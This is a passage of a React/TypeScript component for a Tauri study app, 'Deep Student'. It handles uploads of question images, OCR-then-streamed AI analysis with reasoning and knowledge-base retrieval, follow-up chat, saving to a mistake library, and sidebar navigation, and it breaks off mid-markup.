const [isChatFullscreen, setIsChatFullscreen] = useState(false);
const [currentReviewSessionId, setCurrentReviewSessionId] = useState<string | null>(null);
const { startDragging } = useWindowDrag();
// 分析相关状态
const [subject, setSubject] = useState('数学');
const [availableSubjects, setAvailableSubjects] = useState<string[]>([]);
const [isLoadingSubjects, setIsLoadingSubjects] = useState(true);
const [subjectConfigs, setSubjectConfigs] = useState<any[]>([]);
const [userQuestion, setUserQuestion] = useState('');
const [questionImages, setQuestionImages] = useState<File[]>([]);
const [questionImageUrls, setQuestionImageUrls] = useState<string[]>([]);
const [imageViewerOpen, setImageViewerOpen] = useState(false);
const [currentImageIndex, setCurrentImageIndex] = useState(0);
const [isAnalyzing, setIsAnalyzing] = useState(false);
const [analysisResult, setAnalysisResult] = useState<AnalysisResponse | null>(null);
const [chatHistory, setChatHistory] = useState<ChatMessage[]>([]);
const [currentMessage, setCurrentMessage] = useState('');
const [isChatting, setIsChatting] = useState(false);
const [streamingMessageIndex, setStreamingMessageIndex] = useState<number | null>(null);
const [isInputAllowed, setIsInputAllowed] = useState(false);
const [useStreamMode] = useState(true); // 固定启用流式模式
// 新增状态：用于立即显示OCR结果
const [ocrResult, setOcrResult] = useState<{
ocr_text: string;
tags: string[];
mistake_type: string;
} | null>(null);
const [isOcrComplete, setIsOcrComplete] = useState(false);
const [enableChainOfThought] = useState(true); // 固定启用思维链
const [thinkingContent, setThinkingContent] = useState<Map<number, string>>(new Map()); // 存储每条消息的思维链内容
// 监听器管理
const [activeListeners, setActiveListeners] = useState<Array<() => void>>([]);
// RAG相关状态
const [enableRag, setEnableRag] = useState(false);
const [ragTopK, setRagTopK] = useState(5);
// 加载支持的科目和科目配置
useEffect(() => {
const loadSubjects = async () => {
try {
const subjects = await TauriAPI.getSupportedSubjects();
setAvailableSubjects(subjects);
// 设置默认科目为第一个
if (subjects.length > 0) {
setSubject(subjects[0]);
}
} catch (error) {
console.error('加载科目失败:', error);
// 如果API失败，使用备用科目列表
const fallbackSubjects = ['数学', '物理', '化学', '英语'];
setAvailableSubjects(fallbackSubjects);
setSubject(fallbackSubjects[0]);
} finally {
setIsLoadingSubjects(false);
}
};
const loadSubjectConfigs = async () => {
try {
const configs = await TauriAPI.getAllSubjectConfigs(true); // 只获取启用的科目配置
setSubjectConfigs(configs);
} catch (error) {
console.error('加载科目配置失败:', error);
setSubjectConfigs([]);
} finally {
// Loading completed
}
};
loadSubjects();
loadSubjectConfigs();
}, []);
// 加载RAG设置
useEffect(() => {
const loadRagSettings = async () => {
try {
const [ragEnabled, ragTopKSetting] = await Promise.all([
TauriAPI.getSetting('rag_enabled').catch(() => 'false'),
TauriAPI.getSetting('rag_top_k').catch(() => '5'),
]);
setEnableRag(ragEnabled === 'true');
setRagTopK(parseInt(ragTopKSetting) || 5);
} catch (error) {
console.error('加载RAG设置失败:', error);
}
};
loadRagSettings();
}, []);
// 处理聊天全屏切换 - 简化为直接状态切换
const handleChatFullscreenToggle = () => {
setIsChatFullscreen(!isChatFullscreen);
};
// 处理图片上传
const handleImageUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
const files = Array.from(e.target.files || []);
const remainingSlots = 9 - questionImages.length;
const filesToAdd = files.slice(0, remainingSlots);
if (filesToAdd.length > 0) {
setQuestionImages(prev => [...prev, ...filesToAdd]);
// URL管理由useEffect自动处理，不需要在这里手动创建
}
// 清空input
e.target.value = '';
};
// 删除图片
const removeImage = (index: number) => {
// 只需要更新questionImages状态，URL管理由useEffect自动处理
setQuestionImages(prev => prev.filter((_, i) => i !== index));
};
// 打开图片查看器
const openImageViewer = (index: number) => {
setCurrentImageIndex(index);
setImageViewerOpen(true);
};
// 优化的文件上传点击处理器
const handleFileUploadClick = useCallback(() => {
const fileInput = document.querySelector('.file-input') as HTMLInputElement;
if (fileInput) {
fileInput.click();
}
}, []);
// 键盘快捷键
useEffect(() => {
const handleKeyDown = (e: KeyboardEvent) => {
// 只在没有输入框聚焦时处理快捷键
if (e.target instanceof HTMLInputElement || e.target instanceof HTMLTextAreaElement) {
return;
}
// Ctrl/Cmd + 数字键切换视图
if ((e.ctrlKey || e.metaKey) && !e.shiftKey && !e.altKey) {
switch (e.key) {
case '1':
e.preventDefault();
setCurrentView('analysis');
break;
case '2':
e.preventDefault();
setCurrentView('batch');
break;
case '3':
e.preventDefault();
setCurrentView('library');
break;
case '4':
e.preventDefault();
setCurrentView('review');
break;
case '5':
e.preventDefault();
setCurrentView('dashboard');
break;
case '6':
e.preventDefault();
setCurrentView('settings');
break;
case 's':
e.preventDefault();
setCurrentView('settings');
break;
case 'e':
e.preventDefault();
setShowDataManagement(true);
break;
case 'f':
e.preventDefault();
setCurrentView('formula-test');
break;
case 'a':
e.preventDefault();
setCurrentView('ai-sdk-analysis');
break;
}
}
// ESC键返回主页
if (e.key === 'Escape') {
if (isChatFullscreen) {
setIsChatFullscreen(false);
} else if (showDataManagement) {
setShowDataManagement(false);
} else if (currentView === 'mistake-detail') {
setCurrentView('library');
} else if (currentView !== 'analysis') {
setCurrentView('analysis');
}
}
};
document.addEventListener('keydown', handleKeyDown);
return () => document.removeEventListener('keydown', handleKeyDown);
}, [currentView, showDataManagement, isChatFullscreen]);
// 组件卸载时清理所有活跃的监听器
useEffect(() => {
return () => {
console.log('🧹 清理组件，注销所有活跃监听器:', activeListeners.length);
activeListeners.forEach(unlisten => {
try {
unlisten();
} catch (error) {
console.warn('注销监听器时出错:', error);
}
});
};
}, [activeListeners]);
// 管理题目图片URL的生命周期
useEffect(() => {
// 清理旧的URLs（避免在第一次渲染时清理不存在的URLs）
if (questionImageUrls.length > 0) {
questionImageUrls.forEach(url => {
try {
URL.revokeObjectURL(url);
} catch (error) {
console.warn('清理URL时出错:', error);
}
});
}
// 创建新的URLs
const newUrls = questionImages.map(file => {
try {
return URL.createObjectURL(file);
} catch (error) {
console.error('创建图片URL失败:', error);
return '';
}
}).filter(url => url !== '');
setQuestionImageUrls(newUrls);
// 清理函数
return () => {
newUrls.forEach(url => {
try {
URL.revokeObjectURL(url);
} catch (error) {
console.warn('清理URL时出错:', error);
}
});
};
}, [questionImages]); // 仅依赖questionImages，避免questionImageUrls导致循环
// 开始分析
const handleAnalyze = async () => {
if (!userQuestion.trim() || questionImages.length === 0) {
alert('请输入问题并上传至少一张题目图片');
return;
}
setIsAnalyzing(true);
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
setAnalysisResult(null);
setChatHistory([]);
try {
const request = {
subject,
question_image_files: questionImages,
analysis_image_files: [], // 不再使用解析图片
user_question: userQuestion,
enable_chain_of_thought: enableChainOfThought,
};
if (useStreamMode) {
console.log('🚀 开始分步骤分析...');
// 第一步：OCR分析，立即显示结果
console.log('📝 第一步：OCR和分类分析...');
const stepResult = await TauriAPI.analyzeStepByStep(request);
// 立即显示OCR结果
setOcrResult(stepResult.ocr_result);
setIsOcrComplete(true);
console.log('✅ OCR分析完成:', stepResult.ocr_result);
// 创建临时的分析结果对象
const tempAnalysisResult: AnalysisResponse = {
temp_id: stepResult.temp_id,
initial_data: {
ocr_text: stepResult.ocr_result.ocr_text,
tags: stepResult.ocr_result.tags,
mistake_type: stepResult.ocr_result.mistake_type,
first_answer: '', // 暂时为空，等待流式填充
},
};
setAnalysisResult(tempAnalysisResult);
// 第二步：开始流式AI解答
console.log('🤖 第二步：开始流式AI解答...');
// 创建初始的助手消息（空内容，等待流式填充）
const initialMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
setChatHistory([initialMessage]);
setStreamingMessageIndex(0);
// 改进的流式处理逻辑
const streamEvent = `analysis_stream_${stepResult.temp_id}`;
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API而不是streamHandler
const { listen } = await import('@tauri-apps/api/event');
// 清理之前的监听器
activeListeners.forEach(unlisten => unlisten());
setActiveListeners([]);
// 统一检查并处理流完成状态的函数
const checkAndFinalizeStreams = () => {
console.log(`🔍 检查流完成状态: contentActive=${contentListenerActive}, thinkingActive=${thinkingListenerActive}`);
// 核心改进：主内容流完成就是整个流程完成
if (!contentListenerActive) {
console.log('✅ 主内容流已完成，标记整个流程为完成状态');
setStreamingMessageIndex(null); // 停止显示流式光标
setIsInputAllowed(true); // 允许用户输入
setIsAnalyzing(false); // 分析完成
}
// 当所有流都完成时，清理监听器
if (!contentListenerActive && !thinkingListenerActive) {
console.log('🎉 所有流式内容（分析或对话）均已完成，清理监听器');
// 清理所有监听器，防止内存泄漏
activeListeners.forEach(unlisten => {
try {
unlisten();
} catch (error) {
console.warn('注销监听器时出错（在 finalize 中）:', error);
}
});
setActiveListeners([]); // 清空活跃监听器数组
} else {
console.log(`⏳ 流状态: 主内容=${contentListenerActive ? '进行中' : '已完成'}, 思维链=${thinkingListenerActive ? '进行中' : '已完成'}`);
}
};
// 监听主内容流
await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到主内容流:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullContent.length) {
fullContent = event.payload.content;
}
console.log('🎉 主内容流完成，总长度:', fullContent.length);
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0]) {
newHistory[0] = { ...newHistory[0], content: fullContent };
}
return newHistory;
});
contentListenerActive = false;
// unlistenContent(); // DEBUG: Temporarily commented out
// 立即更新分析结果中的first_answer
if (analysisResult) {
setAnalysisResult(prev => prev ? {
...prev,
initial_data: {
...prev.initial_data,
first_answer: fullContent
}
} : null);
}
checkAndFinalizeStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullContent += event.payload.content;
console.log(`📝 累积内容，当前长度: ${fullContent.length}`);
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0]) {
newHistory[0] = { ...newHistory[0], content: fullContent };
}
return newHistory;
});
}
}
});
// setActiveListeners(prev => [...prev, unlistenContent]); // DEBUG: Temporarily commented out
// 如果启用了思维链，监听思维链事件
if (enableChainOfThought) {
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听思维链事件: ${reasoningEvent}`);
await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 思维链流内容:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullThinkingContent.length) {
fullThinkingContent = event.payload.content;
}
console.log('🎉 思维链流完成，总长度:', fullThinkingContent.length);
setThinkingContent(prev => new Map(prev).set(0, fullThinkingContent));
thinkingListenerActive = false;
// unlistenThinking(); // DEBUG: Temporarily commented out
checkAndFinalizeStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullThinkingContent += event.payload.content;
console.log(`🧠 累积思维链，当前长度: ${fullThinkingContent.length}`);
setThinkingContent(prev => new Map(prev).set(0, fullThinkingContent));
}
}
});
// setActiveListeners(prev => [...prev, unlistenThinking]); // DEBUG: Temporarily commented out
// 添加超时机制：如果主内容完成后5秒思维链还没完成，自动标记为完成
setTimeout(() => {
if (!contentListenerActive && thinkingListenerActive) {
console.warn('⚠️ 思维链流超时，自动标记为完成');
thinkingListenerActive = false;
checkAndFinalizeStreams();
}
}, 5000);
} else {
console.log('ℹ️ 未启用思维链，直接标记为完成');
thinkingListenerActive = false;
checkAndFinalizeStreams(); // 如果没有思维链，立即检查一次，因为此时主内容可能已经完成
}
// 如果启用了RAG，监听RAG来源信息
if (enableRag) {
const ragSourcesEvent = `${streamEvent}_rag_sources`;
console.log(`📚 监听RAG来源事件: ${ragSourcesEvent}`);
await listen(ragSourcesEvent, (event: any) => {
console.log(`📚 收到RAG来源信息:`, event.payload);
if (event.payload && event.payload.sources) {
// 更新聊天历史中的RAG来源信息
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0] && newHistory[0].role === 'assistant') {
newHistory[0] = {
...newHistory[0],
rag_sources: event.payload.sources
};
}
return newHistory;
});
console.log('✅ RAG来源信息已更新');
}
});
}
// 启动流式解答
console.log(`🚀 启动流式解答，temp_id: ${stepResult.temp_id}, enable_chain_of_thought: ${enableChainOfThought}, enable_rag: ${enableRag}`);
if (enableRag) {
// 使用RAG增强的流式解答
await TauriAPI.startRagEnhancedStreamingAnswer({
temp_id: stepResult.temp_id,
enable_chain_of_thought: enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: ragTopK,
enable_reranking: true // 如果配置了重排序模型会自动使用
}
});
} else {
// 使用普通的流式解答
await TauriAPI.startStreamingAnswer(stepResult.temp_id, enableChainOfThought);
}
} else {
// 使用传统非流式分析
console.log('📊 使用传统分析模式...');
const response = await analyzeNewMistake(request);
setAnalysisResult(response);
// 立即显示OCR结果
setOcrResult({
ocr_text: response.initial_data.ocr_text,
tags: response.initial_data.tags,
mistake_type: response.initial_data.mistake_type,
});
setIsOcrComplete(true);
setChatHistory([{
role: 'assistant',
content: response.initial_data.first_answer,
timestamp: new Date().toISOString(),
}]);
}
} catch (error) {
console.error('❌ 分析失败:', error);
alert('分析失败: ' + error);
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
} finally {
setIsAnalyzing(false);
}
};
// 发送聊天消息 - 完全重写，修复所有流式问题
const handleSendMessage = async () => {
if (!currentMessage.trim() || !analysisResult) return;
const userMessage: ChatMessage = {
role: 'user',
content: currentMessage,
timestamp: new Date().toISOString(),
};
const newChatHistory = [...chatHistory, userMessage];
setChatHistory(newChatHistory);
setCurrentMessage('');
setIsChatting(true);
try {
if (useStreamMode) {
// 流式对话 - 全新改进版本
console.log('💬 开始流式对话...');
// 创建空的助手消息等待流式填充
const assistantMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
const streamingHistory = [...newChatHistory, assistantMessage];
setChatHistory(streamingHistory);
setStreamingMessageIndex(streamingHistory.length - 1);
// 改进的流式处理逻辑
const streamEvent = `continue_chat_stream_${analysisResult.temp_id}`;
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API
const { listen } = await import('@tauri-apps/api/event');
// 统一检查并处理流完成状态的函数 (对话部分，可以考虑提取到外部)
const checkAndFinalizeChatStreams = () => {
console.log(`🔍 检查对话流完成状态: contentActive=${contentListenerActive}, thinkingActive=${thinkingListenerActive}`);
// 核心改进：主内容流完成就是整个对话完成
if (!contentListenerActive) {
console.log('✅ 对话主内容流已完成，标记整个对话为完成状态');
setStreamingMessageIndex(null); // 停止显示流式光标
setIsInputAllowed(true); // 允许用户继续输入
setIsChatting(false); // 对话完成
}
// 当所有流都完成时，清理监听器
if (!contentListenerActive && !thinkingListenerActive) {
console.log('🎉 所有对话流式内容均已完成，清理监听器');
// 清理所有监听器
activeListeners.forEach(unlisten => {
try {
unlisten();
} catch (error) {
console.warn('注销监听器时出错（在 finalize chat 中）:', error);
}
});
setActiveListeners([]);
} else {
console.log(`⏳ 对话流状态: 主内容=${contentListenerActive ? '进行中' : '已完成'}, 思维链=${thinkingListenerActive ? '进行中' : '已完成'}`);
}
};
// 监听主内容流
await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到对话主内容流:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullContent.length) {
fullContent = event.payload.content;
}
console.log('🎉 对话主内容流完成，总长度:', fullContent.length);
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = { ...newHistory[lastIdx], content: fullContent };
}
return newHistory;
});
contentListenerActive = false;
// unlistenContent(); // DEBUG: Temporarily commented out
// 立即更新分析结果中的first_answer
if (analysisResult) {
setAnalysisResult(prev => prev ? {
...prev,
initial_data: {
...prev.initial_data,
first_answer: fullContent
}
} : null);
}
checkAndFinalizeChatStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullContent += event.payload.content;
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = { ...newHistory[lastIdx], content: fullContent };
}
return newHistory;
});
}
}
});
// setActiveListeners(prev => [...prev, unlistenContent]); // DEBUG: Temporarily commented out
// 如果启用了思维链，监听思维链事件
if (enableChainOfThought) {
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听对话思维链事件: ${reasoningEvent}`);
const lastMessageIndex = streamingHistory.length - 1;
await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 对话思维链流内容:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullThinkingContent.length) {
fullThinkingContent = event.payload.content;
}
console.log('🎉 对话思维链流完成，总长度:', fullThinkingContent.length);
setThinkingContent(prev => new Map(prev).set(lastMessageIndex, fullThinkingContent));
thinkingListenerActive = false;
// unlistenThinking(); // DEBUG: Temporarily commented out
checkAndFinalizeChatStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullThinkingContent += event.payload.content;
setThinkingContent(prev => new Map(prev).set(lastMessageIndex, fullThinkingContent));
}
}
});
// setActiveListeners(prev => [...prev, unlistenThinking]); // DEBUG: Temporarily commented out
} else {
thinkingListenerActive = false;
checkAndFinalizeChatStreams(); // 如果没有思维链，立即检查
}
// 如果启用了RAG，监听对话的RAG来源信息
if (enableRag) {
const ragSourcesEvent = `${streamEvent}_rag_sources`;
console.log(`📚 监听对话RAG来源事件: ${ragSourcesEvent}`);
await listen(ragSourcesEvent, (event: any) => {
console.log(`📚 收到对话RAG来源信息:`, event.payload);
if (event.payload && event.payload.sources) {
// 更新聊天历史中最后一条助手消息的RAG来源信息
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = {
...newHistory[lastIdx],
rag_sources: event.payload.sources
};
}
return newHistory;
});
console.log('✅ 对话RAG来源信息已更新');
}
});
}
// 调用后端API
if (enableRag) {
// 使用RAG增强的对话
const ragRequest = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: ragTopK,
enable_reranking: true
}
};
await TauriAPI.continueRagEnhancedChatStream(ragRequest);
} else {
// 使用普通对话
const request = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
};
await TauriAPI.continueChatStream(request);
}
} else {
// 传统非流式对话
const request = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
};
const response = await continueChat(request);
const assistantMessage: ChatMessage = {
role: 'assistant',
content: response.new_assistant_message,
timestamp: new Date().toISOString(),
};
setChatHistory([...newChatHistory, assistantMessage]);
}
} catch (error) {
console.error('❌ 对话失败:', error);
alert('对话失败: ' + error);
setStreamingMessageIndex(null);
} finally {
setIsChatting(false);
}
};
// 保存到错题库
const handleSaveToLibrary = async () => {
if (!analysisResult) return;
try {
// 复制聊天历史，并将思维链内容保存到message中
const chatHistoryWithThinking = chatHistory.map((message, index) => {
// 如果是assistant消息且有思维链，则添加thinking_content字段
if (message.role === 'assistant' && thinkingContent.has(index)) {
return {
...message,
thinking_content: thinkingContent.get(index)
};
}
return message;
});
const result = await TauriAPI.saveMistakeFromAnalysis({
temp_id: analysisResult.temp_id,
final_chat_history: chatHistoryWithThinking,
});
if (result.success) {
alert('题目已保存到错题库！');
// 重置分析状态
handleReset();
} else {
alert('保存失败，请重试');
}
} catch (error) {
console.error('保存失败:', error);
alert('保存失败: ' + error);
}
};
// 重置分析
const handleReset = () => {
setAnalysisResult(null);
setChatHistory([]);
setCurrentMessage('');
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
setUserQuestion('');
setQuestionImages([]);
setThinkingContent(new Map());
setIsInputAllowed(false);
};
// 选择错题
const handleSelectMistake = (mistake: MistakeItem) => {
setSelectedMistake(mistake);
setCurrentView('mistake-detail');
};
// 更新错题
const handleUpdateMistake = (updatedMistake: MistakeItem) => {
setSelectedMistake(updatedMistake);
};
// 删除错题
const handleDeleteMistake = (mistakeId: string) => {
console.log('删除错题:', mistakeId);
setSelectedMistake(null);
setCurrentView('library');
};
// 渲染侧边栏导航 - 现代化风格
const renderSidebar = () => (
<div className={`app-sidebar ${sidebarCollapsed ? 'collapsed' : ''}`}>
<div className="sidebar-header" onMouseDown={startDragging}>
<div className="app-logo">
<img src="/logo.svg" alt="Deep Student" className="logo-icon" />
{!sidebarCollapsed && <span className="logo-text">Deep Student</span>}
</div>
</div>
<nav className="sidebar-nav">
<div className="nav-section">
<div className="nav-label">{!sidebarCollapsed && '分析工具'}</div>
<button
className={`nav-item tooltip-test ${currentView === 'analysis' ? 'active' : ''}`}
onClick={() => setCurrentView('analysis')}
data-tooltip={sidebarCollapsed ? '分析' : ''}
>
<span className="nav-icon">📝</span>
{!sidebarCollapsed && <span className="nav-text">分析</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'batch' ? 'active' : ''}`}
onClick={() => setCurrentView('batch')}
data-tooltip={sidebarCollapsed ? '批量分析' : ''}
>
<span className="nav-icon">📋</span>
{!sidebarCollapsed && <span className="nav-text">批量分析</span>}
</button>
</div>
<div className="nav-section">
<div className="nav-label">{!sidebarCollapsed && '数据管理'}</div>
<button
className={`nav-item tooltip-test ${currentView === 'library' ? 'active' : ''}`}
onClick={() => setCurrentView('library')}
data-tooltip={sidebarCollapsed ? '错题库' : ''}
>
<span className="nav-icon">📚</span>
{!sidebarCollapsed && <span className="nav-text">错题库</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'review' ? 'active' : ''}`}
onClick={() => setCurrentView('review')}
data-tooltip={sidebarCollapsed ? '单次回顾' : ''}
>
<span className="nav-icon">🔍</span>
{!sidebarCollapsed && <span className="nav-text">单次回顾</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'unified-review' ? 'active' : ''}`}
onClick={() => setCurrentView('unified-review')}
data-tooltip={sidebarCollapsed ? '统一回顾' : ''}
>
<span className="nav-icon">🎯</span>
{!sidebarCollapsed && <span className="nav-text">统一回顾</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'review-library' ? 'active' : ''}`}
onClick={() => setCurrentView('review-library')}
data-tooltip={sidebarCollapsed ? '分析库' : ''}
>
<span className="nav-icon">📚</span>
{!sidebarCollapsed && <span className="nav-text">分析库</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'anki-generation' ? 'active' : ''}`}
onClick={() => setCurrentView('anki-generation')}
data-tooltip={sidebarCollapsed ? 'ANKI制卡' : ''}
>
<span className="nav-icon">🎯</span>
{!sidebarCollapsed && <span className="nav-text">ANKI制卡</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'knowledge-base' ? 'active' : ''}`}
onClick={() => setCurrentView('knowledge-base')}
data-tooltip={sidebarCollapsed ? '知识库' : ''}
>
<span className="nav-icon">🧠</span>
{!sidebarCollapsed && <span className="nav-text">知识库</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'rag-query' ? 'active' : ''}`}
onClick={() => setCurrentView('rag-query')}
data-tooltip={sidebarCollapsed ? 'RAG查询' : ''}
>
<span className="nav-icon">🔍</span>
{!sidebarCollapsed && <span className="nav-text">RAG查询</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'dashboard' ? 'active' : ''}`}
onClick={() => setCurrentView('dashboard')}
data-tooltip={sidebarCollapsed ? '统计' : ''}
>
<span className="nav-icon">📊</span>
{!sidebarCollapsed && <span className="nav-text">统计</span>}
</button>
<button
className={`nav-item tooltip-test`}
onClick={() => setShowDataManagement(true)}
data-tooltip={sidebarCollapsed ? '数据管理' : ''}
>
<span className="nav-icon">📦</span>
{!sidebarCollapsed && <span className="nav-text">数据</span>}
</button>
</div>
<div className="nav-section">
<div className="nav-label">{!sidebarCollapsed && '开发工具'}</div>
<button
className={`nav-item tooltip-test ${currentView === 'formula-test' ? 'active' : ''}`}
onClick={() => setCurrentView('formula-test')}
data-tooltip={sidebarCollapsed ? '公式测试' : ''}
>
<span className="nav-icon">🧠</span>
{!sidebarCollapsed && <span className="nav-text">公式测试</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'ai-sdk-analysis' ? 'active' : ''}`}
onClick={() => setCurrentView('ai-sdk-analysis')}
data-tooltip={sidebarCollapsed ? 'AI SDK分析' : ''}
>
<span className="nav-icon">🚀</span>
{!sidebarCollapsed && <span className="nav-text">AI SDK</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'backend-test' ? 'active' : ''}`}
onClick={() => setCurrentView('backend-test')}
data-tooltip={sidebarCollapsed ? '后端测试' : ''}
>
<span className="nav-icon">🧪</span>
{!sidebarCollapsed && <span className="nav-text">后端测试</span>}
</button>
</div>
</nav>
<div className="sidebar-footer">
<button
className={`nav-item tooltip-test ${currentView === 'settings' ? 'active' : ''}`}
onClick={() => setCurrentView('settings')}
data-tooltip={sidebarCollapsed ? '设置' : ''}
>
<span className="nav-icon">⚙️</span>
{!sidebarCollapsed && <span className="nav-text">设置</span>}
</button>
</div>
</div>
);
// 渲染分析界面 - 左右分栏布局
const renderAnalysisView = () => (
<div className="analysis-layout">
{/* 左侧上传栏 */}
<div className="left-panel">
<div className="upload-section">
<h3>📝 题目上传</h3>
<div className="form-group">
<label>科目:</label>
<select
value={subject}
onChange={(e) => setSubject(e.target.value)}
disabled={isLoadingSubjects}
>
{isLoadingSubjects ? (
<option value="">加载中...</option>
) : (
availableSubjects.map(subjectOption => (
<option key={subjectOption} value={subjectOption}>{subjectOption}</option>
))
)}
</select>
</div>
<div className="form-group">
<label>题目或解析图片:</label>
<div
className="file-upload-area"
onClick={handleFileUploadClick}
onDrop={(e) => {
e.preventDefault();
e.currentTarget.classList.remove('drag-over');
const files = Array.from(e.dataTransfer.files).filter(file => file.type.startsWith('image/'));
const remainingSlots = 9 - questionImages.length;
const filesToAdd = files.slice(0, remainingSlots);
if (filesToAdd.length > 0) {
setQuestionImages(prev => [...prev, ...filesToAdd]);
}
}}
onDragOver={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragEnter={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragLeave={(e) => {
e.preventDefault();
if (!e.currentTarget.contains(e.relatedTarget as Node)) {
e.currentTarget.classList.remove('drag-over');
}
}}
>
<div className="upload-content">
<div className="upload-icon">📁</div>
<div className="upload-text">拖拽图片到此处或点击上传</div>
<input
type="file"
multiple
accept="image/*"
onChange={handleImageUpload}
className="file-input"
style={{ display: 'none' }}
/>
</div>
</div>
{questionImages.length > 0 && (
<div
className="image-grid-container"
onDrop={(e) => {
e.preventDefault();
e.currentTarget.classList.remove('drag-over');
const files = Array.from(e.dataTransfer.files).filter(file => file.type.startsWith('image/'));
const remainingSlots = 9 - questionImages.length;
const filesToAdd = files.slice(0, remainingSlots);
if (filesToAdd.length > 0) {
setQuestionImages(prev => [...prev, ...filesToAdd]);
}
}}
onDragOver={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragEnter={(e) => {
e.preventDefault();
e.currentTarget.classList.add('drag-over');
}}
onDragLeave={(e) => {
e.preventDefault();
if (!e.currentTarget.contains(e.relatedTarget as Node)) {
e.currentTarget.classList.remove('drag-over');
}
}}
>
<div className="image-grid-scroll">
{questionImageUrls.map((url, index) => (
<div key={index} className="image-thumbnail-container">
<img
src={url}
alt={`题目图片 ${index + 1}`}
className="image-thumbnail"
onClick={() => openImageViewer(index)}
/>
<button
className="remove-image-btn tooltip-test"
onClick={() => removeImage(index)}
data-tooltip="删除图片"
>
✕
</button>
</div>
))}
{questionImages.length < 9 && (
<div className="add-image-placeholder">
<input
type="file"
multiple
accept="image/*"
onChange={handleImageUpload}
className="add-image-input"
id="add-more-images"
/>
<label htmlFor="add-more-images" className="add-image-label">
<div className="add-image-icon">➕</div>
<div className="add-image-text">添加图片</div>
</label>
</div>
)}
</div>
</div>
)}
</div>
<div className="form-group">
<label>你的问题:</label>
<textarea
value={userQuestion}
onChange={(e) => setUserQuestion(e.target.value)}
placeholder="请描述你对这道题的疑问..."
rows={3}
/>
</div>
<div className="form-group">
<div style={{ padding: '0.5rem', backgroundColor: '#f0f8ff', borderRadius: '4px', fontSize: '0.9rem', color: '#666' }}>
ℹ️ 流式输出和思维链已默认启用，为您提供最佳体验
</div>
</div>
{/* RAG设置 */}
<div className="form-group">
<div style={{
padding: '1rem',
backgroundColor: '#f8f9fa',
borderRadius: '8px',
border: '1px solid #e9ecef'
}}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.5rem' }}>
<span style={{ fontSize: '1.1rem' }}>🧠</span>
<label style={{ fontSize: '0.95rem', fontWeight: '500', margin: 0 }}>
RAG知识库增强
</label>
</div>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', cursor: 'pointer' }}>
<input
type="checkbox"
checked={enableRag}
onChange={(e) => setEnableRag(e.target.checked)}
style={{ transform: 'scale(1.1)' }}
/>
<span style={{ fontSize: '0.9rem', color: '#495057' }}>
使用知识库增强AI分析（需要先上传文档到知识库）
</span>
</label>
{enableRag && (
<div style={{
marginTop: '0.75rem',
paddingTop: '0.75rem',
borderTop: '1px solid #dee2e6'
}}>
<label style={{
display: 'flex',
alignItems: 'center',
gap: '0.5rem',
fontSize: '0.85rem',
color: '#6c757d'
}}>
检索文档数量:
<input
type="number"
min="1"
max="10"
value={ragTopK}
